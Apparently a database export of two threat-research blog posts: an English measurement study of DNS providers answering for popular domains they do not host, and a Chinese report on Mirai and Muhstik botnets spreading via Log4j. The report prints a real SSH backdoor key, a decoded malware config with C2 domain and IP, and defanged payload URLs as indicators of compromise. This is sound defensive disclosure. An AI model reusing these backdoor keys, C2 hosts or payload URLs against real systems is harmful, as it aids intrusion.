<p>We can see from the above two cases that these non-authorized resolution service is mainly from domain name registration/resolution provider registration, and the final resolution destination IP is used to generate profits such as domain name parking, redirection and domain name sales.</p>
<h2 id="securitychallenge">Security challenge</h2>
<p>When a malicious actor can register arbitrary, especially well known DNS domains, it brings real problems, as we disclosed in our previous blog, there are botnets out there using this “feature” to make their C2 look totally legit.</p>
<p>From defense perspective, The DNS based security detection needs to be expanded to look at both the domain name and the DNS servers used by the domain name, as well as whether the resolution results are consistent with the real results.</p>
<!--kg-card-end: markdown--> | Summary
In a previous article, we disclosed that the Specter botnet uses api. github[.]com and other white domains to provide C2 services as a way to evade detection by security products based on signature and threat intelligence matching. The botnet can do this because the Domain Name Resolution provider have no check for customer to claim any DNS names.
We were wondering what the overall situation is, so we measured and evaluated this phenomenon, i.e., whether domain name registrars/hosts, public cloud providers, and other providers that provide domain name registration and resolution services (collectively referred to as resolution service providers) are able to return correct responses to DNS requests for domains not served by them.
This article provides an analysis of this phenomenon.
Data Selection and Evaluation Methodology
Domains Under Test
Tested domains: Alexa top500. they were chosen because
1.
These domains use their own DNS servers, and they do not use resolution services provided by external resolution providers. So if these domains can be resolved by NS servers of external resolution service providers, they are most likely to be unauthorized.
2.
It is common practice that these domains are on various security whitelists because of their well-known operations. In fact, the use of DNS traffic to rank domain names more accurately reflect the popularity of domain names. 360netlab's DNSMon system can calculate the popularity of domain names in the large network
The NS servers
The test NS server: that is, the resolution provider. Extracted from 360netlab's passiveDNS library, 18,469 NS servers that were active in the last six months and provided resolution services for more than 500 independent second-level domain names.
Test Method
The domain name under test will be tried to resolve through the test NS server one by one (UDP/53), if the DNS return result of the test server is NOERROR (regardless of whether there is a real RDATA return), the server under test is considered to provide resolution of the domain name under test.
Evaluation Results
Overall resolution situation
At the time of test, of the 18,469 NS servers, 18,154 were able to resolve to an address, accounting for 98.29% of the total. There are 17,792 servers that can resolve to the address and have a response, accounting for 96.33% of the total. Even though we screened the NS servers with resolution records in the past six months, 3.67% of the servers were inactive at the time of the test, so we can see that the infrastructure of NS service providers is in constant change.
The following article uses the data of 17,792 NSs as the basis for analysis.
In terms of the number of resolutions, the response rate of 17,792 NS servers is 70.12% ~(6237860/(17,792*500)), which means that 30% of requests are lost when the servers are active, generally due to server timeouts.
Among all responses, the percentage of Rcode for Refuse is 75, and the percentage of NOERROR is about 22%. The specific distribution of the following chart
In terms of NS servers, 17,792 NS servers, the return of NOERROR record of NS servers are 9544, accounting for about 53.64%.
In terms of NS server secondary domain, 17792 NS corresponds to 4149 secondary domains, of which there are 1687 secondary domains that return NOERROR records, accounting for about 40.66% of the total. That is to say, in our selected test servers about 40% of NS servers will return a domain name resolution that is not their own customers.
Based on experience, if such resolution records are added by individual users, it is guessed that the higher ranked domains are more likely to be added and resolved. So we counted the percentage of resolution of Alexa Top100 and the percentage of resolution of all tested domains (i.e. Alexa Top500) for each tested server that returned NOERROR. We sorted the resolution success rate of Alexa Top100 domains by resolution server. The statistical curves are shown below.
From the graph, it is obvious that these 9544 servers can be divided into 4 groups, namely
* NS servers ranked from 1 to 2250 have a resolution rate of more than 60% for top100 and top500 domain names
* NS servers ranking 2250-3300 have a rapid decline from 60% to less than 20% of the domain names under test
* NS servers ranked 3300-6000 are slowly decreasing from 20% to about 2%.
* NS servers ranked after 6000 occasionally have a small amount of resolution, the proportion of basic in about 1%.
In addition, it can be seen from the graph that there is no significant difference in the proportion of tested domains in Alexa Top100 and Top500. This may be due to the fact that there is little difference in the perception of users between the top 100 and 500 domains in Alexa.
Analysis of resolution results
Another perspective on this data is the resolution results. Where exactly do these NS servers resolve these popular domains to.
In the returned results, about 20.92% of the data on the second-level domain is not configured with a valid DNS record with a NOERROR returns, such cases are mostly for the detection of the domain name is configured with the corresponding NS server, but not configured for other types of records.
The domains with IPs
In the return results which have DNS A records, the geographic location of the resolved IPs is mainly concentrated in the United States, followed by China and Russia, and the Top 10 distribution is as follows:
4378 United_States
579 China
395 Russian_Federation
350 United_Kingdom
216 CLOUDFLARE.COM
213 Netherlands
212 Germany
209 Japan
195 Republic_of_Korea
123 Singapore
It is worth mentioning that about 3% of the many returned A records are reserved or private addresses, and the most popular of these addresses is 127.0.0.1. The top 10 addresses are as follows:
33093 127.0.0.1
856 10.10.34.35
425 192.168.3.3
154 10.10.10.10
69 10.10.34.36
52 10.152.68.117
45 10.10.34.34
42 192.168.1.1
27 127.0.0.11
22 0.0.0.0
Error rate of resolution results
We compared the results from non-authorized resolution service providers with the correct resolution results and found that 80% of the domain names (i.e. 400) had an error rate of 90% or more, and the best case domain name error rate was as high as 68%, which is a quite high.
Different domain name resolution error rate curves are as follows.
Domain name perspective
How many NSs do the top500 domains resolve on? What is the distribution of the percentage
Among the 500 domains, the least resolved domain name is express.dhl, with 1483 NS servers resolving it, and the most resolved is yts.mx, with 3114 NS servers resolving it. However, from the results of their resolution, the number of rdata resolved by different domains is relatively stable, mostly around 800. It can be seen that it is very common but very surprising for popular domains to be added to various non-authorized resolvers. The specific distribution is as follows.
Case Study
Why so many popular domain names are added to be resolved by non-authorized NS servers? Let's take yts.mx and mozilla.org as examples to see what is going on here.
yts.mx
yts.mx was chosen for analysis because it is the domain name that resolved by most NS servers in our test.
yts.mx is a P2P movie downloads site, and is ranked No. 462 in the Alexa data we used. We can see there are 2886 non-authorized resolving servers that can resolve yts.mx, and only 73 of the NS servers are giving us correct results, the incorrect resolution rate of 97.47%, and within them, the top NS servers are:
Most of this list are IT infrastructure service providers offering domain name registration, web service hosting, hosting services, etc. Not surprisingly cloudns mentioned in our last article is listed.
Looking at the IPs that resolved incorrectly, they point to a total of 750 IP addresses, aggregating to 149 network segments. The top10 of these segments and the usage of these segments are analyzed as follows.
mozilla.org
mozilla.org was chosen because mozilla.org is the official website of the Firefox browser and is well known to the public and it is ranked 182 by Alexa. We dug in our passiveDNS.cn and could see mozilla.org has been using akamai as their resolver since 2014.
Its resolution results have changed a little bit over time, after November 2020, it has been using amazon's service.
However, in our test data, there are 2,624 NS servers capable of resolving mozilla.org, with 735 resolved IP addresses.
The top 10 resolvers are as follows.
846 hostgator.com
520 gandi.net
369 register.com
83 orderbox-dns.com
70 worldnic.com
51 dan.hosting
47 hostgator.mx
33 ztomy.com
30 cloudns.net
16 zoneedit.com
This entry on this list is very similar to the yts.mx example.
Except akam.net and cloudflare.com, only 62 NS servers can correctly return the A records. In other words, 70% of the non-authorized NS servers are returning the wrong IPs.
In terms of incorrectly resolved IPs, 730 incorrect IPs (5 IPs were correctly resolved) were aggregated to 153 CIDR/24 segments, with top10 segments accounting for 75.9% of the total incorrectly resolved volume. We analyzed in detail the CIDR/24 segments of the Top10 incorrectly resolved, and found that they are mainly registered by domain name registrars/resolvers, and the final resolution destination IPs are used for domain name parking, redirection and domain name sale purposes. The specific results are shown in the following chart:
We can see from the above two cases that these non-authorized resolution service is mainly from domain name registration/resolution provider registration, and the final resolution destination IP is used to generate profits such as domain name parking, redirection and domain name sales.
Security challenge
When a malicious actor can register arbitrary, especially well known DNS domains, it brings real problems, as we disclosed in our previous blog, there are botnets out there using this “feature” to make their C2 look totally legit.
From defense perspective, The DNS based security detection needs to be expanded to look at both the domain name and the DNS servers used by the domain name, as well as whether the resolution results are consistent with the real results.
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Summary\nIn a [previous article](__GHOST_URL__/the-pitfall-of-threat-intelligence-whitelisting-specter-botnet-is-taking-over-top-legit-dns-domains-by-using-cloudns-service/), we disclosed that the Specter botnet uses api. github[.]com and other white domains to provide C2 services as a way to evade detection by security products based on signature and threat intelligence matching. The botnet can do this because the Domain Name Resolution provider have no check for customer to claim any DNS names. \n\nWe were wondering what the overall situation is, so we measured and evaluated this phenomenon, i.e., whether domain name registrars/hosts, public cloud providers, and other providers that provide domain name registration and resolution services (collectively referred to as resolution service providers) are able to return correct responses to DNS requests for domains not served by them.\n\nThis article provides an analysis of this phenomenon.\n\n## Data Selection and Evaluation Methodology\n### Domains Under Test\nTested domains: Alexa top500. they were chosen because\n\n1.\tThese domains use their own DNS servers, and they do not use resolution services provided by external resolution providers. So if these domains can be resolved by NS servers of external resolution service providers, they are most likely to be unauthorized.\n\n\n2. It is common practice that these domains are on various security whitelists because of their well-known operations. In fact, the use of DNS traffic to rank domain names more accurately reflect the popularity of domain names. 360netlab's DNSMon system can calculate the popularity of domain names in the large network\n\n### The NS servers\nThe test NS server: that is, the resolution provider. Extracted from 360netlab's passiveDNS library, **18,469** NS servers that were active in the last six months and provided resolution services for more than 500 independent second-level domain names.\n\n### Test Method\nThe domain name under test will be tried to resolve through the test NS server one by one (UDP/53), if the DNS return result of the test server is NOERROR (regardless of whether there is a real RDATA return), the server under test is considered to provide resolution of the domain name under test.\n\n\n## Evaluation Results\n### Overall resolution situation\nAt the time of test, of the 18,469 NS servers, 18,154 were able to resolve to an address, accounting for 98.29% of the total. There are 17,792 servers that can resolve to the address and have a response, accounting for 96.33% of the total. Even though we screened the NS servers with resolution records in the past six months, 3.67% of the servers were inactive at the time of the test, so we can see that the infrastructure of NS service providers is in constant change.\nThe following article uses the data of 17,792 NSs as the basis for analysis.\n\nIn terms of the number of resolutions, the response rate of 17,792 NS servers is 70.12% ~(6237860/(17,792*500)), which means that 30% of requests are lost when the servers are active, generally due to server timeouts.\n\nAmong all responses, the percentage of Rcode for Refuse is 75, and the percentage of NOERROR is about 22%. The specific distribution of the following chart\n<img src= \"/content/images/2021/12/rcode_distrubtion-1.png\" width=\"860px\" />\n\nIn terms of NS servers, 17,792 NS servers, the return of NOERROR record of NS servers are 9544, accounting for about 53.64%.\n\nIn terms of NS server secondary domain, 17792 NS corresponds to 4149 secondary domains, of which there are 1687 secondary domains that return NOERROR records, accounting for about 40.66% of the total. That is to say, *in our selected test servers about 40% of NS servers will return a domain name resolution that is not their own customers*.\n\n\nBased on experience, if such resolution records are added by individual users, it is guessed that the higher ranked domains are more likely to be added and resolved. So we counted the percentage of resolution of Alexa Top100 and the percentage of resolution of all tested domains (i.e. Alexa Top500) for each tested server that returned NOERROR. We sorted the resolution success rate of Alexa Top100 domains by resolution server. The statistical curves are shown below.\n<img src = \"/content/images/2021/12/top100_vs_top500-1.png\" width=\"860px\"/>\n\n\nFrom the graph, it is obvious that these 9544 servers can be divided into 4 groups, namely\n\n* NS servers ranked from 1 to 2250 have a resolution rate of more than 60% for top100 and top500 domain names\n* NS servers ranking 2250-3300 have a rapid decline from 60% to less than 20% of the domain names under test\n* NS servers ranked 3300-6000 are slowly decreasing from 20% to about 2%.\n* NS servers ranked after 6000 occasionally have a small amount of resolution, the proportion of basic in about 1%.\n\nIn addition, it can be seen from the graph that there is no significant difference in the proportion of tested domains in Alexa Top100 and Top500. This may be due to the fact that there is little difference in the perception of users between the top 100 and 500 domains in Alexa.\n\n### Analysis of resolution results\nAnother perspective on this data is the resolution results. Where exactly do these NS servers resolve these popular domains to.\nIn the returned results, about 20.92% of the data on the second-level domain is not configured with a valid DNS record with a NOERROR returns, such cases are mostly for the detection of the domain name is configured with the corresponding NS server, but not configured for other types of records.\n\n### The domains with IPs\nIn the return results which have DNS A records, the geographic location of the resolved IPs is mainly concentrated in the United States, followed by China and Russia, and the Top 10 distribution is as follows:\n```\n 4378 United_States\n 579 China\n 395 Russian_Federation\n 350 United_Kingdom\n 216 CLOUDFLARE.COM\n 213 Netherlands\n 212 Germany\n 209 Japan\n 195 Republic_of_Korea\n 123 Singapore\n```\n\nIt is worth mentioning that about 3% of the many returned A records are reserved or private addresses, and the most popular of these addresses is 127.0.0.1. The top 10 addresses are as follows:\n```\n 33093 127.0.0.1\n 856 10.10.34.35\n 425 192.168.3.3\n 154 10.10.10.10\n 69 10.10.34.36\n 52 10.152.68.117\n 45 10.10.34.34\n 42 192.168.1.1\n 27 127.0.0.11\n 22 0.0.0.0\n```\n\n### Error rate of resolution results\nWe compared the results from non-authorized resolution service providers with the correct resolution results and found that 80% of the domain names (i.e. 400) had an error rate of 90% or more, and the best case domain name error rate was as high as 68%, which is a quite high.\n\nDifferent domain name resolution error rate curves are as follows.\n<img src = \"/content/images/2021/12/resolve_wrong_ratio-1.jpg\" width=\"860px\" />\n\n### Domain name perspective\nHow many NSs do the top500 domains resolve on? What is the distribution of the percentage\nAmong the 500 domains, the least resolved domain name is express.dhl, with 1483 NS servers resolving it, and the most resolved is yts.mx, with 3114 NS servers resolving it. However, from the results of their resolution, the number of rdata resolved by different domains is relatively stable, mostly around 800. **It can be seen that it is very common but very surprising for popular domains to be added to various non-authorized resolvers**. The specific distribution is as follows.\n\n<img src = \"/content/images/2021/12/resovler_num_and_rdata_num-1.jpg\" width=\"860px\" />\n\n## Case Study\nWhy so many popular domain names are added to be resolved by non-authorized NS servers? Let's take yts.mx and mozilla.org as examples to see what is going on here.\n\n### yts.mx\nyts.mx was chosen for analysis because it is the domain name that resolved by most NS servers in our test.\n\nyts.mx is a P2P movie downloads site, and is ranked No. 462 in the Alexa data we used. We can see there are 2886 non-authorized resolving servers that can resolve yts.mx, and only 73 of the NS servers are giving us correct results, the incorrect resolution rate of 97.47%, and within them, the top NS servers are:\n<img src = \"/content/images/2021/12/yts.mx-1.jpg\" width = \"860px\"/>\n\nMost of this list are IT infrastructure service providers offering domain name registration, web service hosting, hosting services, etc. Not surprisingly cloudns mentioned in our last article is listed.\n\nLooking at the IPs that resolved incorrectly, they point to a total of 750 IP addresses, aggregating to 149 network segments. The top10 of these segments and the usage of these segments are analyzed as follows.\n<img src = \"/content/images/2021/12/yts.mx.wrong_rdata_detail-1.png\" width = \"860px\" />\n\n### mozilla.org\nmozilla.org was chosen because mozilla.org is the official website of the Firefox browser and is well known to the public and it is ranked 182 by Alexa. We dug in our passiveDNS.cn and could see mozilla.org has been using akamai as their resolver since 2014.\n<img src = \"/content/images/2021/12/mozilla_auth_ns-1.jpg\" width=\"860px\" />\n\nIts resolution results have changed a little bit over time, after November 2020, it has been using amazon's service.\n<img src = \"/content/images/2021/12/mozilla_auth_a-1.png\" width=\"860px\" />\n\nHowever, in our test data, there are 2,624 NS servers capable of resolving mozilla.org, with 735 resolved IP addresses.\n\nThe top 10 resolvers are as follows.\n```\n 846 hostgator.com\n 520 gandi.net\n 369 register.com\n 83 orderbox-dns.com\n 70 worldnic.com\n 51 dan.hosting\n 47 hostgator.mx\n 33 ztomy.com\n 30 cloudns.net\n 16 zoneedit.com\n```\n\nThis entry on this list is very similar to the yts.mx example.\n\n\nExcept akam.net and cloudflare.com, only 62 NS servers can correctly return the A records. In other words, **70% of the non-authorized NS servers are returning the wrong IPs**.\n\nIn terms of incorrectly resolved IPs, 730 incorrect IPs (5 IPs were correctly resolved) were aggregated to 153 CIDR/24 segments, with top10 segments accounting for 75.9% of the total incorrectly resolved volume. We analyzed in detail the CIDR/24 segments of the Top10 incorrectly resolved, and found that they are mainly registered by domain name registrars/resolvers, and the final resolution destination IPs are used for domain name parking, redirection and domain name sale purposes. The specific results are shown in the following chart: \n<img src = \"/content/images/2021/12/mozilla_detail_analysis-1.jpg\" width=\"860px\" />\n \nWe can see from the above two cases that these non-authorized resolution service is mainly from domain name registration/resolution provider registration, and the final resolution destination IP is used to generate profits such as domain name parking, redirection and domain name sales.\n\n## Security challenge \nWhen a malicious actor can register arbitrary, especially well known DNS domains, it brings real problems, as we disclosed in our previous blog, there are botnets out there using this “feature” to make their C2 look totally legit.\n\nFrom defense perspective, The DNS based security detection needs to be expanded to look at both the domain name and the DNS servers used by the domain name, as well as whether the resolution results are consistent with the real results.\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 61b013f13819e50007636bd7 |
post | null | 2021-12-11T11:13:24.000Z | 63873b9a8b1c1e0007f52ffc | wei-xie-kuai-xun-log4jlou-dong-yi-jing-bei-yong-lai-zu-jian-botnet-zhen-dui-linuxshe-bei | 0 | 2022-02-09T07:05:18.000Z | public | published | null | 2021-12-11T13:14:29.000Z | 威胁快讯：Log4j漏洞已经被用来组建botnet，针对Linux设备 | <p>年末曝光的Log4j漏洞无疑可以算是今年的安全界大事了。作为专注于蜜罐和botnet检测跟踪的团队，我们自该漏洞被公开后就一直关注它会被哪些botnet利用。今早我们等来了首批答案，我们的Anglerfish和Apacket蜜罐先后捕获到2波利用Log4j漏洞组建botnet的攻击，快速的样本分析表明它们分别用于组建 Muhstik 和Mirai botnet，针对的都是Linux设备。</p><!--kg-card-begin: markdown--><h2 id="">样本分析</h2>
<h3 id="mirai">MIRAI</h3>
<p>这一波传播的为miria新变种，相比最初代码，它做了如下变动：</p>
<ol>
<li>移除了 table_init/table_lock_val/table_unlock_val 等mirai特有的配置管理函数。</li>
<li>attack_init 函数也被抛弃，ddos攻击函数会被指令处理函数直接调用。</li>
</ol>
<p>同时，其C2域名选用了一个 uy 顶级域的域名，这在国内也是很少见的。</p>
<h3 id="muhstik">Muhstik</h3>
<p>Muhstik 这个网络最早被披露于 <a href="__GHOST_URL__/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/">2018</a> 年，系一个借鉴了Mirai代码的Tsunami变种。在本次捕获的样本中，我们注意到新Muhstik变种增加了一个后门模块ldm，它具有增加SSH后门公钥的能力，其安装的后门公钥为：</p>
<pre><code>ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQBtGZHLQlMLkrONMAChDVPZf+9gNG5s2rdTMBkOp6P7mKIQ/OkbgiozmZ3syhELI4L0M1TmJiRbbrIta8662z4WAKhXpiU22llfwrkN0m8yKJApd8lDzvvdBw+ShzJr+WaEWX7uW3WCe5NCxGxc6AU7c2vmuLlO0B203pIGVIbV1xJmj6MXrdZpNy7QRo9zStWmgmVY4GR4v26R3XDOn1gshuQ6PgUqgewQ+AlslLVuekdH23sLQfejXyJShcoFI6BbH67YTcoh4G/TuQdGe8lIeAAmp7lzzHMyu+2iSNoFFCeF48JSA2YZvssFOsGuAtV/9uPNQoi9EyvgM2mGDgJ
</code></pre>
<p>该公钥被增加到 ~/.ssh/authorized_keys 文件后，攻击者即可无需密码认证直接登陆远程服务器，实现对目标服务器的持续操控。</p>
<p>考虑到 log4j2 的漏洞机理比较特殊，“攻击者只需漫无目的的散播 payload 即会有机器被攻击，有点愿者上钩的意思。所以，攻击者很难直接判断被攻击的机器实际在哪里”，为确保后续可以使用这个后门，攻击者还要建立一个汇报机制，将受控机器的实际位置/用户名汇报到攻击者指定的服务器。Muhstik 通过 TOR 网络完成该汇报任务，这可能会给溯源工作增加一层难度。</p>
<p>Muhstik 在访问 TOR 网络前，会通过一些公开的 DoH服务查询 <code>relay.l33t-ppl.inf</code> 的内容。在这个过程中，会产生一些与之相关的 DNS 请求。考虑到这些请求可能为判断失陷主机提供一些帮助。所以这里把相关域名列在下面。注意：这些域名不是CC域名，不是黑域名，而是正常的 DoH 服务。各运维相关读者需要根据自身业务情况酌情处理。</p>
<pre><code>doh.defaultroutes.de
dns.hostux.net
dns.dns-over-https.com
uncensored.lux1.dns.nixnet.xyz
dns.rubyfish.cn dns.twnic.tw
doh.centraleu.pi-dns.com
doh.dns.sb doh-fi.blahdns.com
fi.doh.dns.snopyta.org
dns.flatuslifir.is
doh.li
dns.digitale-gesellschaft.ch
</code></pre>
<p>当无法直接从 TOR 网络汇报攻陷信息时，Muhstik 还会通过 TOR 的公网映射域名进行提交，相关域名列表如下：</p>
<pre><code>bvprzqhoz7j2ltin.onion.ws
bvprzqhoz7j2ltin.onion.ly
bvprzqhoz7j2ltin.tor2web.s
</code></pre>
<p>Muhstik的ELF样本则集成了如下命令：<br>
<img src="__GHOST_URL__/content/images/2021/12/tsunami_command-1-1.png" alt="tsunami_command-1-1" loading="lazy"></p>
<p>能看到样本支持DDoS和后门指令。样本的C2保存在mirai风格的配置中，明文的配置信息如下：</p>
<pre><code> [0x02]: "listening tun0\x00", size=15
[0x03]: "irc.de-za"\x1f\x90"listening tun0\x00"l", size=30
[0x04]: "\x1f\x90", size=2
[0x05]: "log.exposedbotnets.ru\x00", size=22
[0x06]: "log.exposedbotnets.ru\x00", size=22
[0x07]: "log.exposedbotnets.ru\x00", size=22
[0x08]: "log.exposedbotnets.ru\x00", size=22
[0x0a]: "/proc/\x00", size=7
[0x0c]: "/exe\x00", size=5
[0x0d]: "/status\x00", size=8
[0x0e]: "/fd\x00", size=4
[0x0f]: "\x58\x4D\x4E\x4E\x43\x50\x46\x22\x00", size=33
[0x10]: "zollard\x00", size=8
[0x11]: "muhstik-11052018\x00", size=17
[0x12]: "\x02^nL\x0b\x1a\x06_nL\x02\x0f\x00", size=13
[0x13]: "eth1\x00", size=5
[0x14]: "lan0\x00", size=5
[0x15]: "-\x00", size=2
[0x16]: "eth0\x00", size=5
[0x17]: "inet0\x00", size=6
[0x18]: "lano\x00", size=5
[0x19]: "log.exposedbotnets.ru\x00", size=22
[0x1a]: "log.exposedbotnets.ru\x00", size=22
[0x1b]: "d4cf8e4ab26f7fd15ef7df9f7937493d\x00", size=33
[0x1c]: "log.exposedbotnets.ru\x00", size=22
[0x1d]: "37.44.244.124\x00", size=14
[0x1e]: "37.44.244.124\x00", size=14
[0x1f]: "37.44.244.124\x00", size=14
[0x20]: "37.44.244.124\x00", size=14
[0x21]: "37.44.244.124\x00", size=14
[0x22]: "log.exposedbotnets.ru\x00", size=22
[0x23]: "log.exposedbotnets.ru\x00", size=22
</code></pre>
<p>其中log.exposedbotnets.ru便是C2，它刚好解析到37.44.244.124。作者注册一个log开头的域名也许是故意切合Log4j这个漏洞。</p>
<h2 id="">结论</h2>
<p>鉴于Log4j的漏洞影响面比较大，我们预计后续会有更多的botnet使用它来传播。对此我们会持续保持关注，有新的观察会第一时间在这里公布。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="ioc">IOC:</h2>
<h3 id="mirai">Mirai</h3>
<p>C2:</p>
<pre><code>nazi.uy
</code></pre>
<p>URL:</p>
<pre><code>http:[//62.210.130.250/lh.sh
http:[//62.210.130.250:80/web/admin/x86_64
http:[//62.210.130.250:80/web/admin/x86
http:[//62.210.130.250:80/web/admin/x86_g
</code></pre>
<h3 id="muhstik">Muhstik</h3>
<p>C2:</p>
<pre><code>log.exposedbotnets.ru
</code></pre>
<p>URL:</p>
<pre><code>http:[//45.130.229.168:9999/Exploit.class
http:[//18.228.7.109/.log/log
http:[//18.228.7.109/.log/pty1;
http:[//18.228.7.109/.log/pty2;
http:[//18.228.7.109/.log/pty3;
http:[//18.228.7.109/.log/pty4;
http:[//18.228.7.109/.log/pty5;
http:[//210.141.105.67:80/wp-content/themes/twentythirteen/m8
http:[//159.89.182.117/wp-content/themes/twentyseventeen/ldm
</code></pre>
<!--kg-card-end: markdown--><p></p> | 年末曝光的Log4j漏洞无疑可以算是今年的安全界大事了。作为专注于蜜罐和botnet检测跟踪的团队，我们自该漏洞被公开后就一直关注它会被哪些botnet利用。今早我们等来了首批答案，我们的Anglerfish和Apacket蜜罐先后捕获到2波利用Log4j漏洞组建botnet的攻击，快速的样本分析表明它们分别用于组建 Muhstik 和Mirai botnet，针对的都是Linux设备。
样本分析
MIRAI
这一波传播的为miria新变种，相比最初代码，它做了如下变动：
1. 移除了 table_init/table_lock_val/table_unlock_val 等mirai特有的配置管理函数。
2. attack_init 函数也被抛弃，ddos攻击函数会被指令处理函数直接调用。
同时，其C2域名选用了一个 uy 顶级域的域名，这在国内也是很少见的。
Muhstik
Muhstik 这个网络最早被披露于 2018 年，系一个借鉴了Mirai代码的Tsunami变种。在本次捕获的样本中，我们注意到新Muhstik变种增加了一个后门模块ldm，它具有增加SSH后门公钥的能力，其安装的后门公钥为：
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQBtGZHLQlMLkrONMAChDVPZf+9gNG5s2rdTMBkOp6P7mKIQ/OkbgiozmZ3syhELI4L0M1TmJiRbbrIta8662z4WAKhXpiU22llfwrkN0m8yKJApd8lDzvvdBw+ShzJr+WaEWX7uW3WCe5NCxGxc6AU7c2vmuLlO0B203pIGVIbV1xJmj6MXrdZpNy7QRo9zStWmgmVY4GR4v26R3XDOn1gshuQ6PgUqgewQ+AlslLVuekdH23sLQfejXyJShcoFI6BbH67YTcoh4G/TuQdGe8lIeAAmp7lzzHMyu+2iSNoFFCeF48JSA2YZvssFOsGuAtV/9uPNQoi9EyvgM2mGDgJ
该公钥被增加到 ~/.ssh/authorized_keys 文件后，攻击者即可无需密码认证直接登陆远程服务器，实现对目标服务器的持续操控。
考虑到 log4j2 的漏洞机理比较特殊，“攻击者只需漫无目的的散播 payload 即会有机器被攻击，有点愿者上钩的意思。所以，攻击者很难直接判断被攻击的机器实际在哪里”，为确保后续可以使用这个后门，攻击者还要建立一个汇报机制，将受控机器的实际位置/用户名汇报到攻击者指定的服务器。Muhstik 通过 TOR 网络完成该汇报任务，这可能会给溯源工作增加一层难度。
Muhstik 在访问 TOR 网络前，会通过一些公开的 DoH服务查询 relay.l33t-ppl.inf 的内容。在这个过程中，会产生一些与之相关的 DNS 请求。考虑到这些请求可能为判断失陷主机提供一些帮助。所以这里把相关域名列在下面。注意：这些域名不是CC域名，不是黑域名，而是正常的 DoH 服务。各运维相关读者需要根据自身业务情况酌情处理。
doh.defaultroutes.de
dns.hostux.net
dns.dns-over-https.com
uncensored.lux1.dns.nixnet.xyz
dns.rubyfish.cn dns.twnic.tw
doh.centraleu.pi-dns.com
doh.dns.sb doh-fi.blahdns.com
fi.doh.dns.snopyta.org
dns.flatuslifir.is
doh.li
dns.digitale-gesellschaft.ch
当无法直接从 TOR 网络汇报攻陷信息时，Muhstik 还会通过 TOR 的公网映射域名进行提交，相关域名列表如下：
bvprzqhoz7j2ltin.onion.ws
bvprzqhoz7j2ltin.onion.ly
bvprzqhoz7j2ltin.tor2web.s
Muhstik的ELF样本则集成了如下命令：
能看到样本支持DDoS和后门指令。样本的C2保存在mirai风格的配置中，明文的配置信息如下：
[0x02]: "listening tun0\x00", size=15
[0x03]: "irc.de-za"\x1f\x90"listening tun0\x00"l", size=30
[0x04]: "\x1f\x90", size=2
[0x05]: "log.exposedbotnets.ru\x00", size=22
[0x06]: "log.exposedbotnets.ru\x00", size=22
[0x07]: "log.exposedbotnets.ru\x00", size=22
[0x08]: "log.exposedbotnets.ru\x00", size=22
[0x0a]: "/proc/\x00", size=7
[0x0c]: "/exe\x00", size=5
[0x0d]: "/status\x00", size=8
[0x0e]: "/fd\x00", size=4
[0x0f]: "\x58\x4D\x4E\x4E\x43\x50\x46\x22\x00", size=33
[0x10]: "zollard\x00", size=8
[0x11]: "muhstik-11052018\x00", size=17
[0x12]: "\x02^nL\x0b\x1a\x06_nL\x02\x0f\x00", size=13
[0x13]: "eth1\x00", size=5
[0x14]: "lan0\x00", size=5
[0x15]: "-\x00", size=2
[0x16]: "eth0\x00", size=5
[0x17]: "inet0\x00", size=6
[0x18]: "lano\x00", size=5
[0x19]: "log.exposedbotnets.ru\x00", size=22
[0x1a]: "log.exposedbotnets.ru\x00", size=22
[0x1b]: "d4cf8e4ab26f7fd15ef7df9f7937493d\x00", size=33
[0x1c]: "log.exposedbotnets.ru\x00", size=22
[0x1d]: "37.44.244.124\x00", size=14
[0x1e]: "37.44.244.124\x00", size=14
[0x1f]: "37.44.244.124\x00", size=14
[0x20]: "37.44.244.124\x00", size=14
[0x21]: "37.44.244.124\x00", size=14
[0x22]: "log.exposedbotnets.ru\x00", size=22
[0x23]: "log.exposedbotnets.ru\x00", size=22
其中log.exposedbotnets.ru便是C2，它刚好解析到37.44.244.124。作者注册一个log开头的域名也许是故意切合Log4j这个漏洞。
结论
鉴于Log4j的漏洞影响面比较大，我们预计后续会有更多的botnet使用它来传播。对此我们会持续保持关注，有新的观察会第一时间在这里公布。
IOC:
Mirai
C2:
nazi.uy
URL:
http:[//62.210.130.250/lh.sh
http:[//62.210.130.250:80/web/admin/x86_64
http:[//62.210.130.250:80/web/admin/x86
http:[//62.210.130.250:80/web/admin/x86_g
Muhstik
C2:
log.exposedbotnets.ru
URL:
http:[//45.130.229.168:9999/Exploit.class
http:[//18.228.7.109/.log/log
http:[//18.228.7.109/.log/pty1;
http:[//18.228.7.109/.log/pty2;
http:[//18.228.7.109/.log/pty3;
http:[//18.228.7.109/.log/pty4;
http:[//18.228.7.109/.log/pty5;
http:[//210.141.105.67:80/wp-content/themes/twentythirteen/m8
http:[//159.89.182.117/wp-content/themes/twentyseventeen/ldm
